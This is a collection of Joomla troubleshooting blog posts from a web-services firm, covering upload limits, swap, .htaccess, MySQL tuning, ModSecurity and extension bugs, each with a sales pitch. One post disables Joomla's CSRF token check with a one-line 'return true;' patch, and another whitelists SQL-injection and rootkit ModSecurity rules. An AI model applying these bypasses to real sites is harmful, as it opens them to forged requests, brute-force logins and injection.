However, if you click on the Image tab on the top, you will notice that the Max upload size is set to the maximum upload limit defined in your global php.ini (for many servers, that maximum upload limit is typically set to 2 MB). If you want proof about this, then open the file default.php located under the administrator/components/com_k2/views/item/tmpl folder and check line 242:

<i>(<?php echo JText::_('K2_MAX_UPLOAD_SIZE'); ?>: <?php echo ini_get('upload_max_filesize'); ?>)</i>

As you can see from the above line, K2 is setting the maximum upload size to the upload_max_filesize configuration setting in the global php.ini.

The above also applies to the maximum upload limit for media files (under the Media tab).

So, how to address this problem?

Addressing this problem is easy if you are on a VPS or on a dedicated server. All you need to do is to create a file called .user.ini with the following content…

upload_max_filesize = "256M"
post_max_size = "256M"

…and then upload it to the root directory of your website.

Once this is done, K2’s maximum upload will increase to a whopping 256 Megabytes! (If you want more than 256 Megabytes, then all you need to is to change the number in the .user.ini file from 256 to a higher number of your choice). If you are on a shared hosting environment, then some companies won’t allow the override of certain PHP settings through .user.ini files – in this case it is a good idea to contact your host and ask them to increase the limit for your website (some hosts will acquiesce to such requests).

We hope that in future iterations, K2 will address the problem and the maximum upload limit (across the board) will be the same as Joomla’s. Meanwhile, you can rely on the solution above to fix the problem (the best thing about it is that you won’t have to modify a single K2 file!).

If you need help implementing the above solution, then all you need to do is to contact us. Our price is right, our work is professional and quick, and we are the friendliest programmers on the Milky Way.

A Script to Evenly Distribute Files Under the Joomla “images” Directory

Many Joomla administrators make the mistake by uploading all their images to the root directory of the images folder. A mistake, as they all soon discover, that can cause the media manager to crash.

At itoctopus, we have come up with a solution to this problem, and we call it: EDIJ (short for Evenly Distributing Images in Joomla – OK, that was a joke!). No seriously, we did come up with a solution a long time ago (and we use it all the time), and the solution is to evenly distribute images under the images directory based on the image’s modification date. Here’s how we do it:

  • We loop through all the images under the root directory of the images folder.
  • We get the last modification date of each image (the best you can get with standard Linux is the last modification date).

  • We extract the year and the month from the modification date of that image.

  • We calculate the new path of the image (which will be something like images/[yyyy]-images/[mm]).

  • We then move (using the PHP function rename) the image from the old location to the new location.

If you want to see it in action, then you can find the script here! Yes – we’re that generous! But, before using it, please keep in mind the following:

  • We don’t claim any responsibility, explicit or implicit, resulting from the use of the script. You use the script at your own risk!
  • This script modifies the filesystem and the database – so you should make sure you backup your Joomla website before running it.

  • You will need to modify the path at the end of the script to correspond with the current physical path of your Joomla website.

  • You will need to ensure that Apache has full permissions over the images directory.

  • Ideally, you should only run the script during off hours or on a staging version of your website.

  • You will need to extract the script to the root directory of your Joomla website, and then run it by pointing your browser to: http://www.yourjoomlawebsite.com/evenlyDistributeImagesJoomla.php.

  • The script will work for Joomla articles and K2 items (by default, it will work for Joomla articles, you will need to point the main function to the K2 function for it to work for K2).

  • The script will take some time, so be patient.

We understand that for non-technical persons, such a script might be a challenge. If that’s the case, then just contact us. We’ll make sure to handle this in as little time as possible and for a very, very affordable fee!

Your Joomla Website Is Crashing After a Dramatic Load Spike? Check the Swap!

Before we begin, let us explain what swap is…

Swap, in server terms, is hard disk space reserved by the system to be used as a backup memory in case the RAM is fully used. Once a server starts using swap memory, then you will notice some degradation in the performance because the RAM is always much, much faster than a hard disk. SSD hard disks fare much better when the system starts using the swap.

A very large racing website (built on Joomla) experienced extremely heavy load in the past weekend. The website eventually crashed. Granted – the website was getting a record number of visitors because of a huge racing event, but the website was highly optimized and it was a bit weird that it crashed. The site’s administrator called us for help, and, of course, we obliged…

When a large website crashes, we take the following steps:

  • We ssh to the site’s server as root.
  • We stop MySQL and then Apache by executing the following commands in the shell:

    /etc/init.d/mysql stop
    /etc/init.d/apache2 stop

  • We add the following to the very beginning of the .htaccess file (which is located under the root directory of the website):

    deny from all
    allow from <Our IP Address>

  • We restart Apache and MySQL using the following commands:

    /etc/init.d/apache2 start
    /etc/init.d/mysql start

Doing the above will ensure 2 things: 1) We have exclusive access to the website, and 2) all the load associated with the website is no more.

So, after doing that, we examined the slow query log and we discovered that there was nothing of importance there. The slow query log was very slim (it was a few hundred kilobytes and it was gathering slow queries for weeks…).

We then checked the disk space available on the hard disk (maybe we ran out of disk space) using the following shell command:

df -m

To our disappointment, the server had more than ample disk space in all its partitions! So that wasn’t a disk space problem.

We then checked the memory allocated to the server to see if there’s something wrong there, using the following command:

free -g

Here’s what we got:

             total       used       free
Mem:            16         12        4
Swap:           4          4         0

Aha! The system ran out of swap! Not only that, for some reason, the swap allocated to the system was sort of a locked! Which meant that the Joomla website wasn’t able to use it when the load gets serious! So what we did was that we released the swap by turning it off, and then we turned it on again by issuing the following 2 shell commands:

swapoff -a
swapon -a

We then removed the deny from all line added to the .htaccess to allow everyone to access the website. Once we did that, we monitored the load and it was OK, but we knew that it’s only a matter of time before the same problem happens again… Why?

Because of 2 things:

  1. If the system runs out of swap, it means that it ran out first of memory, which means that the memory is no longer enough for that large website (the website gets about 2 million visits every month and it is in the top 10k most visited websites in America).
  2. Even if we accept the fact that the system has to touch the swap then and now, the swap allocated is too little. In fact, we think that the amount of swap on a server should be the same as the RAM. So, if you have 16 GB of RAM on your server, you should have 16 GB of swap.

So, how did we solve the problem for the long term?

We solved the problem pretty quickly and easily: 1) We asked the host to upgrade the RAM on the server to 32 GB, and 2) We asked the host to increase the amount of swap to 32 GB. Doing that ensured long term stability of the website.

If your website crashes often immediately after a huge load, then check the swap on your server. If you see that your swap is full, then most likely your server’s memory is no longer enough and you need to increase it (and also increase the swap). If you think this whole thing is not exactly in your court, then throw it in ours, and let us handle the problem. Just contact us and let us prove to you how fast, efficient, professional, and affordable our work is!

“The requested URL index.php was not found on this server.” Error on Joomla

A new international client called us very early in the morning today and told us that he was seeing the following error when trying to access his website:

“The requested URL index.php was not found on this server.”

We immediately checked the problem and we noticed that the error was on every page – so it meant one of the following:

  • The index.php was mistakenly (or maliciously) deleted.
  • The index.php file cannot be read by the webserver because of permission issues (for example, the permissions on the index.php file are “000” [yes, we’ve seen this happen before, but the displayed error was different though]).

  • There is a problem with the .htaccess file.

Naturally, the first thing that we did was that we ssh’d to the server and checked the index.php file. Everything seemed OK: the file was there, its permissions were correct (they were set to “444”), and the content of the (core) file hasn’t been modified.

So we then checked the .htaccess file, and we didn’t find anything wrong with it. It seemed like the default .htacess with no modifications whatsoever.

Hmmm…

Our next approach was to check whether the index.php file is being loaded and so we added the following line to its beginning (immediately after the opening PHP tag):

die('Under maintenance...');

We then tried to browse to the website but we got the same error. This of course means that Apache is not even loading (or trying to load) the index.php file.

So we started thinking, what could have changed from a few hours ago (the client told us that the problem happened a couple of hours before calling us)? To answer our question, we ran the following command in the shell:

find /home/[user]/public_html -path '/home/[user]/public_html/cache/*' -prune -o -mtime -1 -ls

(The above command will list all the files that were changed in the past 24 hours)

And we got the following:

1573337 152 -rw-r–r– 1 [user] [user] 2859 Apr 30 07:22 /home/[user]/public_html/.htaccess

Aha! So the .htaccess file was modified! Naturally, we took another, thorougher, look at the .htaccess file and we noticed that this line:

# RewriteBase /

has been changed to this:

RewriteBase /

(The sharp is missing from the second line, which means that the line was uncommented.)

And so we re-added the sharp sign (or hash, or the number sign, or whatever people are calling it these days), and then we checked the website, and guess what? It was working! Woohoo! The client later told us that he did make this modification to address another problem, but he didn’t think that it might cause this kind of destruction!

So, the next time you see that error on your website, a good idea would be to check for these 3 things: the presence of the index.php file, the permissions on the index.php file, and the presence of the sharp (#) sign next to RewriteBase / in your .htaccess file. If you still can’t find the problem, then go ahead and contact us. We will solve your problem in as little time as possible and you will only have to pay our super affordable fees!

How to Disable Email Cloaking in Joomla on a Particular Page

We’re not the biggest fans of Joomla’s Email Cloaking plugin; we think it’s useless. But, obviously, the Joomla development team doesn’t agree with us as the plugin still exists in Joomla 3.4.x (the latest version of Joomla at time of writing this post). Additionally, there are still many Joomla websites who still use this plugin because they (mistakenly) believe it will protect their emails from spam. But, at times, some of these websites start having issues on some pages, and so their administrators reluctantly decide to completely disable the Email Cloaking plugin, thinking that this is the only way to address the problem.

While we think that disabling the plugin is the best way to address any problem caused by it (we really, really don’t like it), we have to admit, it is not the only way. In fact, one can disable the plugin at the problematic page level by just adding the following code to the (beginning of the) content item having the issue (the content item can be a Joomla article, a K2 item, a Joomla custom HTML module, etc…):

{emailcloak=off}

Once the above code is added to a content item, then the plugin will not be applied on that content item. This is because, in its code, the plugin has the following lines:

if (JString::strpos($text, '{emailcloak=off}') !== false){
$text = JString::str_ireplace('{emailcloak=off}', '', $text);
return true;
}

As you can see from the above code, the plugin is instructed not to continue running in case it encounters {emailcloak=off} in the content item.

If you would like to disable Joomla’s Email Cloaking plugin for a certain article (or any other content item), then all you need to is to follow the above code. If it doesn’t work for you, then just contact us and we’ll do it for you in no time and for a very affordable fee!

Internal Server Error When Trying to Save Content on a Joomla Website

One of our clients called us today and told us that they were trying to save an Event in the DPCalendar extension, and they were getting an Internal Server Error. They said that the same problem was happening when they were trying to save a blog in EasyBlog.

From our experience, the majority of Internal Server Errors are caused by Apache’s mainstream security module, ModSecurity (an example of this can be found here).

So, the first thing that we did was that we checked the ModSecurity log file (which is the modsec_audit.log file located under the /usr/local/apache/logs folder) and we found the following errors:

Message: Access denied with code 500 (phase 2). Pattern match “(insert[[:space:]]+into.+values|select.*from.+[a-z|A-Z|0-9]|select.+from|bulk[[:space:]]+insert|union.+select|convert.+\\(.*from)” at ARGS:jform[description]. [file “/usr/local/apache/conf/modsec2.user.conf”] [line “371”] [id “300016“] [rev “2”] [msg “Generic SQL injection protection”] [severity “CRITICAL”]
Message: Rule 10ab6e8 [id “3000086“][file “/usr/local/apache/conf/modsec2/rootkits.conf”][line “155”] – Execution error – PCRE limits exceeded (-8): (null).

Aha! So, it was it was ModSecurity (Tweety?). We had 2 options, we either had to disable ModSecurity for everyone (we can’t just disable it for our client since they had a dynamic IP), or we had to address the problem differently. We chose the latter.

In order to solve the problem, we created a file called whitelist.conf under the /usr/local/apache/conf/modsec2 folder with the following content:

<LocationMatch "/administrator/index.php">
  SecRuleRemoveById 300016 3000086
</LocationMatch>

(Note that the numbers in red are the same as above.)

We saved the file and restarted Apache, and the problem was solved!

But why was the problem solved?

It’s because in the file whiltelist.conf, we instructed ModSecurity not to enforce rules 300016 and 3000086, which were causing the problem.

But what about disabling ModSecurity altogether? Wouldn’t that solve the problem?

Yes – it would, but doing so will have some severe adverse effects when it comes to the website’s (and the server’s) security. We don’t really recommend doing this as ModSecurity is extremely efficient for filtering out malicious requests to the server. It is possible to disable ModSecurity at the .htaccess level or the (virtual) server level if you have a VPS or a dedicated server. However, if you are using a shared hosting solution, it might be that your host does not allow the disabling of the ModSecurity module. In the latter case, you have no other option but to try to talk to your host to make an exception for your website.

If you are running into Internal Server Errors when you are trying to add/edit something on your website, then most likely this is a ModSecurity issue. Just follow the above guide and you should be OK. If it doesn’t work for you or if you feel it’s a bit complicated, then please contact us – we’ll help you address the problem in no time and for a very affordable fee!

Why AcyMailing Causes Load Issues on the Server

A huge racing website that we manage sends out daily newsletters using AcyMailing (the famous newsletter extension for Joomla), and every time those newsletters are sent, the website slows down gradually and eventually crawls to a halt. The whole performance degradation time is typically only a few minutes, which has always been tolerable by the website administrators – until Sunday (a couple of days ago), when they had several newsletters to send because of a huge racing event. They just couldn’t tolerate 30 minutes of website unresponsiveness and so they asked us to investigate and fix the problem prior to sending out those newsletters.

Typically, we don’t recommend our large clients to use Joomla extensions that use the application’s mail server to send out newsletters, not because we think they’re unreliable (on the contrary – we think they are very reliable), but it’s because we think (for many reasons – including load issues, blacklisting, server management, etc…) that the server hosting the main website should not be used as a newsletter server. What we do recommend is using a 3rd party tool to send out emails (most of these tools have extensions which allow them to be used from within Joomla, but without using the Joomla server as a mail server), for example ConstantContact or MailChimp. But some clients send out many newsletters to many people every day, which makes using a 3rd party tool a non-viable alternative from a financial perspective.

Going back to our original client’s request, we started investigating the problem by checking the MySQL slow query log, and it didn’t take us long to discover the root cause: it was a myriad of slow INSERT queries to different tables in the eximstats database. Every time AcyMailing sent an email to one individual, several INSERT query statement were executed on different tables of the eximstats database. Since each table was fairly large, some of these statements were taking several seconds to execute.

Since our client was relying on AcyMailing‘s statistics (and not on Exim‘s), we decided to disable statistics on Exim (Exim is one of the most used mail servers out there). Here’s how we did it:

  • We logged in to WHM on the server hosting the Joomla website.
  • We clicked on Service Configuration.

  • We then clicked on Service Manager.

  • We unchecked the box next to Eximstats.

  • We clicked on Save at the bottom (you will have to wait for about half a minute when you click on that Save button).

  • We restarted the Exim mail server by going back to the Home page on WHM, and then clicking on Restart Services, and then clicking on Mail Server (Exim), and finally clicking on Yes.

Doing the above ensured that Exim no longer collected statistics about the sent emails, which resolved the problem as the website stopped having load issues during newsletter sending time.

If you are using AcyMailing and you are having load issues (or even downtime) during the sending process, then try disabling Exim‘s statistics. If that doesn’t fix the problem, then a good idea would be to contact us. Our fees are right, our work is super professional, we love what we do, and we are the friendliest developers on Planet Earth.

Updating the Hits Counter on Your Joomla Website Taking a Long Time? Read This!

A client called us back on Friday and told us that his company was having some serious load issues on its high traffic corporate website (which was, or course, using a Joomla website). Usually, when there are performance issues on a website, the first thing that we check is the slow query log (typically located under the /var/lib/mysql directory). And so we did, and we noticed that the log was full of queries that are more or less the same as the ones below:

UPDATE #__categories SET hits=hits+1 WHERE id = 402;
UPDATE #__content SET hits=hits+1 WHERE id = 114317;

Each query was taking a few seconds (some of these queries were taking about 10 seconds) despite the fact that it updates only one row. Hmmm – but why?

We tried running one of the above queries directly in phpMyAdmin and it took more or less the same amount of seconds every time we ran it. Oh, and by the way, the website was using MyISAM as then engine for the MySQL database, which means that any update to the table (such as #_content) will lock the whole table, which means that any subsequent update to the table will have to wait on the previous update to complete before getting executed. Of course, switching to InnoDB will solve the table locking issue (since InnoDB uses row locking instead of table locking, which means that an update to a specific row will only lock that row), but may introduce a myriad of other issues, and we still won’t know what is causing the update to take a long time in the first place.

And so, we decided to stick with MyISAM and solve the problem. So, the next thing that we did was checking the MySQL configuration, which can be found in the my.cnf file which is located under the /etc folder. Luckily we immediately discovered the problem, and it was in the following lines:

query_cache_size=8G
query_cache_limit=16M

The database had a query cache of 8 GB (that’s eight gigabytes!), and, while cache is a good thing (or maybe not), it can cause some serious issues when it is above a certain limit (that limit depends on the processing power of the server, its memory, as well as other factors), because the overhead of maintaining the cache will increase substantially. So, on the website we were working on, everytime there was an update to the #__content table (which is one of the most used tables on a Joomla website) because of hit tracking, all the queries using the table #__content got invalidated, which meant that MySQL had to scan through gigabytes of data for those queries and remove them. Not only that, all these invalidated queries must be then re-executed, which created even additional load on the server. Yes – it’s a very, very vicious circle.

So, what was the solution?

The solution was to significantly reduce the query cache by replacing the above lines with the following lines (the last line will reduce the size of a cache block, which is a good idea to do if most of the cached queries are less than 2 KB in size, which is typically the case on a Joomla website) and then restarting MySQL (the below changes will not take effect unless MySQL is restarted):

query_cache_size=128M
query_cache_limit=256K
query_cache_min_res_unit=2k

By doing the above, we ensured that the cost of maintaining the query cache will not be that significant, which meant that update queries to the most used tables will no longer be heavy queries, which resulted in a much, much better load on the server (the load got reduced from an erratic 12-20 to a consistent 2-3).

Another solution, of course, was to completely disable hit tracking on the Joomla website, which would have solved the problem probably more efficiently. However, it wasn’t an option for us since the website was displaying the number of hits on each article.

If you’re having performance issues on your website because of hit tracking, then consider disabling it if you’re not using it. If you are, then you should check the configuration parameters of the MySQL database engine on your server, and ensure that you are using reasonable values for the query cache parameters. If you need help, then please contact us and we’ll do the work for you in no time and for a very reasonable fee!

How to Display a Joomla Module Only on Mobile Devices

We are getting an increasing number of clients telling us that they want to display certain modules only for mobile devices (and some other modules only for computers). This is very normal, since all websites are seeing a dramatic increase in mobile traffic, a fact that is causing businesses to target mobile visitors with some different content (such as different advertisements) in order to increase conversions.

In this post, we will explain exactly how we do this in a very clean way. Without further delay, let’s start!

  • We first open the file index.php located under the templates/[template-name] folder and we add the following function immediately after the defined( ‘_JEXEC’ ) or die( ‘Restricted access’ ); line:

    function isMobileTraffic(){
    	$arrMobileAgents = array('android', 'blackberry',
    	'googlebot-mobile', 'ipad', 'iphone', 'ipod', 'mobi',
    	'mobile', 'opera mini', 'safari mobile', 'windows mobile');
    	$strCurrentUserAgent = $_SERVER['HTTP_USER_AGENT'];
        foreach ($arrMobileAgents as $strMobileAgent) {
    		if (stripos ($strCurrentUserAgent, $strMobileAgent) !== FALSE) {
    			return true;
    		}
    	}
    	return false;
    }

    The job of the above function is to detect whether the traffic is coming from a mobile device. If it is, then the function will return true. If not, then it will return false. Please note that the above function is not exhaustive, so it might be that there are some rare user agents that are not taken into consideration (in that case, the function will treat traffic coming from these devices as desktop [computer] traffic).

  • After adding the above function, we add the mobile exclusive position to the template; we just locate the position where we want to add the module and we add the following code:

    <?php if (isMobileTraffic()) { ?>
    <div id="mobile-module-1">
    	<jdoc:include type="modules" name="mobile-module-1" style="raw" />
    </div>
    <?php } ?>

  • Once the above is done, we create a module (it can be of any type), and then we assign it to the mobile-module-1 position. Once that is done, the website will display that module only for mobile traffic! Easy, huh?

But what if we already have a template that is dedicated for mobile traffic?

In this case, you only need to create a unique position (e.g. a position that doesn’t exist in the non-mobile template) in the index.php of the mobile template, and you’re all set! (you don’t have to add the function above to the beginning of the index.php file.)

We have tried to make this guide as clear as possible. But, it is impossible for us to make it code free. If you’re not a programmer and you need help implementing the above, then all you need to do is to contact us. Our fees are super affordable, our work is super fast, and we are super professional!

“MySQL server has gone away” Error on Joomla

One of our regular clients was seeing the following error when trying to view the VirtueMart orders in the backend of his Joomla 3.3.6 website:

Error displaying the error page: Could not connect to MySQL.: MySQL server has gone away SQL=SELECT SQL_CALC_FOUND_ROWS o.*, CONCAT_WS(‘ ‘,u.first_name,u.middle_name,u.last_name) AS order_name ,u.email as order_email,pm.payment_name AS payment_method FROM #__virtuemart_orders as o LEFT JOIN #__virtuemart_order_userinfos as u ON u.virtuemart_order_id = o.virtuemart_order_id AND u.address_type=”BT” LEFT JOIN #__virtuemart_paymentmethods_en_gb as pm ON o.virtuemart_paymentmethod_id = pm.virtuemart_paymentmethod_id ORDER BY created_on DESC LIMIT 0, 100

Obviously, the above SQL query was causing the MySQL server to go away – but what does going away mean in this context? It typically means that the server timed out while processing the above query (which takes a lot of time).

Hmmm! Easily fixable, we thought. We ssh’d to the server and we edited the my.cnf file (this file contains all of MySQL‘s settings) located under the /etc folder the following way:

  • We opened the file in vi:

    vi /etc/my.cnf

  • We changed the value of max_allowed_packet to 256M.

  • We closed the file and then we restarted MySQL by issuing the following command (this step is necessary so that MySQL starts with the new settings – note that on some Linux installations, the command to restart MySQL is different):

    /etc/init.d/mysql restart

  • We checked the problematic page (the one displaying the VirtueMart orders), and it still had the same problem.

No problem! We opened again the file my.cnf and we added the following lines:

wait_timeout=100
interactive_timeout=100
net_write_timeout=100

We restarted MySQL and tried again, but still, the same problem.

We started to feel a bit of pressure – but we thought – maybe we will be able to find something in MySQL‘s error log. So we checked that error log, and we noticed that there was a problem with the innodb_index_stat table (this is a core MySQL table and it is used for InnoDB tables). We checked that table through phpMyAdmin (it is located in the core mysql database), and we got the following error: table ‘mysql.innodb_index_stats’ doesn’t exist

Huh? At this point, we were no longer surprised by the error that our client was getting, but we were astonished that the rest of the website was working since a core MySQL table, the ‘mysql.innodb_index_stats’ table, was corrupt.

We tried everything – we tried every imaginable method to repair the table – but none worked. Eventually what we did was that we created a backup of the database and then re-installed MySQL, and finally re-imported the database. Everything worked as normal once we did that!

But what caused this problem in the first place?

We’re not certain – we suspect a server crash that happened recently caused this problem. But, in all fairness, the actual reason might not be it. The good news, however, is that we got this problem solved!

If you’re seeing the “MySQL server has gone away” error on your Joomla website, then try the above solutions in sequence. If none of them worked, then your best bet would be to re-install MySQL as quite possibly you have a corrupt instance of the DB server. If you need help fixing this problem then please contact us. Our fees are super affordable, our work is quick and very professional, and we are the friendliest developers on planet Earth.

Calculations Not Working Correctly on RSForm Pro – How to Fix

One of the extremely convenient (and very cool) features in RSForm Pro is the Calculations feature. The Calculations feature can be found by logging to the backend of the Joomla website, and then by going to RS Form Pro -> Manage Forms, and then clicking on the form you wish to add the calculations to, and then clicking on the Properties tab on the top, and finally clicking on the Calculations tab at the bottom left.

Now, the obvious question would be, “what’s so cool about this feature?”

Well, let’s assume you have the following 3 fields on your form:

  • Price
  • Quantity
  • Subtotal

Typically, you would like to have the Subtotal automatically calculated once the person enters/changes the Price and the Quantity. If you were to do this using pure JavaScript, it will take you a lot of time and you will have a lot of code to maintain. But, since you’re using RSForm Pro, you can do this instantly the following way:

  • You go to the Calcuations page as described above.
  • You choose Subtotal from the dropdown.

  • You paste the following formula into the text field just left of Save this calculation:

    Subtotal = {Price:value} * {Quantity:value}

  • You save the form by clicking on the Save button on the top left.

  • You check the form on your website and you watch the coolness in action!

The nice thing about this is that this feature can be used in complex calculations, and, more importantly, in derived calculations. By derived calculations we mean calculations using other calculations. For example, in the above form, you might have 3 subtotal fields: Subtotal A, Subtotal B, and Subtotal C, and each of these fields is the result of Price [n] x Quantity [n]. In this scenario, you may want a field called Total which is the sum of all the subtotals. You can easily do this using the Calculations feature by just assigning the following formula to the Total field:

{Subtotal A:value} + {Subtotal B:value} + {Subtotal C:value}

That’s it! Now when a person changes the price or the quantity of any product, the subtotals and the total will be automatically updated. This is also more convenient and much clearer than the following (longer) formula (which yields the same result):

({Price A:value} * {Quantity A:value}) + ({Price B:value} * {Quantity B:value}) + ({Price C:value} * {Quantity C:value})

But – nothing is perfect and every piece of software has bugs! In this case, the bug is evident when one of the fields is anything but a regular text or hidden field… Let’s say, for example, you have a dropdown field where the person chooses the quantity. In this case, the Subtotal calculation will not work, and consequently, the Total calculation will not work. Why?

Well, because when the field is a dropdown (also referred to as a select), a radio button group, or a checkbox group, the system assumes that the user can choose multiple values (of course, this is not possible in the case of a radio button group or a single select), and so it stores the value in an array, which then causes a problem when the system tries to use this value…

But, how to fix the problem?

There are several ways to fix the problem, and the easiest one, in our opinion, is to fix it in the script.js file, which is located under the components/com_rsform/assets/js folder. Here’s how you can fix the problem for the dropdown:

  • Open the aforementioned file.
  • Search for the line:

    values.push(element.options[o].value);

  • and add the following line before the above line:

    return element.options[o].value;

  • Save the file, clear the cache, reload the page, and the problem should be solved!

You can apply the same fix for the radio buttons and the checkboxes! It is a very simple fix. The downside of this solution is that if you have a multiple select field that will be used for calculations in your form, then only the first value will be taken into consideration!

Now, if you, our very precious reader, are facing the same problem and if the above guide didn’t solve the problem (or if you feel that the whole thing is a bit complicated and you prefer that someone else does it for you), then please contact us, we will do it for you swiftly, professionally, and for a very affordable fee!

“Fatal error: Call to undefined method stdClass::render()” when Using JComments

One of our clients was getting the following error after upgrading Joomla from 3.3.6 to 3.4:

Fatal error: Call to undefined method stdClass::render() in /components/com_jcomments/libraries/joomlatune/template.php on line 318

He told us that immediately after he upgraded to Joomla 3.4, JComments (the famous Joomla commenting platform), stopped working (clicking on the Add Comments link stopped working). So, what our client did is that he uninstalled and then re-installed JComments – but when he did that, he got the above error, and so he called us!

Luckily, the above error told us clearly where the problem was. So, we opened the file template.php located under the /components/com_jcomments/libraries/joomlatune/ folder, and we jumped to line 318, and here’s what we saw:

$this->_templates[$template]->render();

Hmmm… So the template cannot be rendered, but why? So, we went to the JComments settings in the backend, by clicking on Components -> JComments -> Settings, and then clicking on the Layout. We then quickly checked the Template field (in the View section) and we immediately noticed that no template was assigned. Naturally, our first instinct was to assign a template to the Template field, and so we did that (we chose the default template) and we checked the website, and guess what, the problem was no more!

So, what did cause the problem in the first place?

The problem was caused by the fact that our client was using a custom template that did not exist in JComments public distribution, and so when he uninstalled JComments, that template was removed. The new installation of JComments used the old settings, and so it set the Template field to the non-existing template – hence the problem.

If you’re seeing the same problem on your Joomla website and if you are using JComments, then most likely the problem is that there is no template assigned in your JComments settings. If you already have a template assigned, then make sure that all the files pertaining to that template exist. If you are also sure about that, then your best option would be to contact us. We will fix the problem for you in as little time as possible and for a very affordable fee!

A Quick Way to Optimize a Joomla Website: Logging MySQL Queries that Lack Indexes

If you have already optimized many of the slow queries on your Joomla website using the power of the MySQL slow query log, and yet MySQL is still putting some pressure on your server load, then a good idea would be to check which indexless queries are being executed by your database server. By indexless queries, we mean those queries that have filters or sorting, but the fields that these queries are filtered or sorted by are not indexed.

For example, if you have the following query somewhere on your Joomla website:

SELECT * FROM #__content WHERE cat_id=5 ORDER BY created DESC";

Then you should have both cat_id and created indexed.

Now the question is, how do you know easily which queries lack indexing? Well, luckily, there is an easy way to do it in MySQL if you have root access to the server.

All you need to do is the following:

  • ssh to the server hosting the database of your Joomla website.
  • Open the file my.cnf located under the /etc folder (that file might be located elsewhere, but on all the servers we have worked on, it was located under the /etc folder).

  • Add the following lines at the end of the file:

    slow-query-log=1
    long-query-time=1
    log_queries_not_using_indexes=1
    slow-query-log-file="/var/lib/mysql/slow.log"

  • Save the file (if you’re using vi you can quickly save the file by clicking on ESC and then typing :wq! followed by the ENTER key).

  • Restart MySQL using the following command:

    /etc/init.d/mysql restart

  • Now keep an eye on the slow.log file located under the /var/lib directory, you will notice that it will get filled with all sorts of queries, quickly!

Once you have enough queries then you should disable indexless query logging the following way:

  • Open the file my.cnf under the /etc folder.
  • Comment out the following line by adding a sharp (or a hash – depending on what you call it) to its beginning:

    log_queries_not_using_indexes=1

    (so the above line will be #log_queries_not_using_indexes=1)

  • Save the my.cnf file and restart MySQL.

Now you can examine all the indexless queries in the slow.log file and fix them. You should focus first on the queries that you see most in the slow.log file. Once you fix those queries, repeat the process above (re-enable/re-disable the logging of the queries that have no indexes) until all (or most) of these queries are fully optimized. Now check your load, and you should see a substantial difference.

Note that you will need to have some serious database skills to fix those queries. If you need help, then you can always contact us. Our rates are super affordable, our work is very clean and professional, and we are courteous and super fun to work with!

How to Completely Get Rid of the “Invalid Token” Error on Joomla

Note: The solution in this post is compatible with all versions of Joomla that are 2.5 and above (as of March 2015).

Another note: This solution will always work on compatible Joomla versions.

Warning: The solution in this post is a core modification – this means that your changes will be possibly wiped out with a future Joomla update.

Another warning: Go with the solution presented in this post only when you’re desperate – since this particular core modification may jeopardize the stability and security of your Joomla website. You have been warned!

Final warning: This solution should be temporary if you decide to implement it. You should locate the root cause of the “Invalid Token” issue and fix it there. (if you need help with that, we’re always there!)

Ah – invalid tokens – if we had a dime everytime a client calls us with an invalid token issue, we’d have a small jar full of dimes! Invalid tokens are by far the most annoying, frustrating, and loathed Joomla errors and they’re nearly impossible to fix. But, what most people do not know, is that one can get rid of these errors once and for all with just one line of code! Here’s how to do this:

  • Open the file session.php located under the libraries/joomla/session folder.
  • Locate this line:

    public static function checkToken($method = 'post')

  • Just after the opening bracket (the {), add the following line:

    return true;

  • Upload the file session.php back to your website.

  • That’s it! You have solved the “Invalid Token” error on your Joomla website once and for all (well, at least until the next update of your Joomla website)!

Unbelievable, huh? Just one line of code in the right place marked the end of many, many hours (or many weeks, for some) of frustration.

But, doesn’t this solution seem like removing one small part of a car and claiming that it’s not needed?

Yes – that’s exactly what this solution is – but we’re not car repairmen and we’re not claiming that this functionality is not needed – it is needed! In fact, it prevents people from running automated queries in order to gain access to your website by directly submitting content to your forms instead of going through the normal process – and that is exactly why we wrote a warning at the beginning of this post that this should be only a temporary solution until a real fix is implemented.

So, will this solution really jeopardize the security of my Joomla website?

It might. As stated above, people won’t have to go through the normal process to submit actions to your website, which means that people may 1) login to your website using a brute force attack or 2) spam your website. Note that if you have a very strong password then the former possibility is a bit remote.

If you need help implementing this solution, or if you need help identifying and fixing the real problem, then please contact us. We can do the work for you in very little time and for a very affordable fee!

The MySQL Error Log Is an Excellent Tool for Debugging a Joomla Website

A couple of days ago a client called us and told us that whenever someone tries to click on a link in an ACYMailing newsletter, he was seeing a blank page. The client assured us that he didn’t change anything in the code.

If you have been reading our blog for a while, then you will probably know that a blank page is a sign of an error, and that in order to see that error, you will need to set the Error Reporting level to “Maximum” in your global configuration settings. And so we did that, but we still didn’t see any error. Easily fixable, we thought! But despite using every imaginable way in our guide to display the errors, we still couldn’t see what the error was.

But then, for some reason, we thought about checking the MySQL error log – maybe it can tell us something. And so we ssh’d to the server and we went to the /var/lib/mysql directory, and we opened the error file (the error file is usually called *.err where * is typically the name of the server, appended to the main domain name on that server; an example of an error’s file name is: server1.yourjoomlawebsite.com.err ). Here’s what we saw:

150303 9:16:45 [ERROR] /usr/sbin/mysqld: Table ‘./[dbname]/jos_acymailing_userstats’ is marked as crashed and should be repaired

Ah ha! So the problem was with a corrupt table. So, in order to fix the problem, we did the following:

  • We logged in to phpMyAdmin (from the WHM interface).
  • We selected the database serving the Joomla website.

  • We clicked on the SQL tab at the top.

  • We pasted the below SQL query in the textarea:

    REPAIR TABLE `jos_acymailing_userstats`;

  • We clicked on GO at the bottom and we waited for a few minutes until the table was repaired.

  • That fixed the problem!

But, what caused the problem in the first place?

The jos_acymailing_userstats table was a heavily active MyISAM table with substantial number of writes per second. Tables that active (write wise) are vulnerable to crashes if a server hiccup occurs during a write activity (for example, during an INSERT or an UPDATE query). A good idea would be to flip such tables from MyISAM to InnoDB (a performance hit may occur if you do this though; you will need to make some modifications to your my.cnf file if this happens).

As you can see, the MySQL error log was crucial in identifying the problem. So, the next time you see a blank page on your Joomla website, take a glimpse at your MySQL error log and see if you can find anything there. If, however, you feel that this whole thing is a bit over your head, then please contact us. We will be able to fix the problem for you in as little time as possible and for a very, very affordable fee!

Can’t Login to Joomla’s Backend when SSL Is Enabled

A new client emailed us yesterday and told us that every time he tries to login to the backend of his Joomla website, he’s redirected to the login page with no errors (our client called this issue “the admin login loop”). So the first thing that we asked him is whether he checked our post about the same problem. He said that he already did, but he still wasn’t able to resolve the problem.

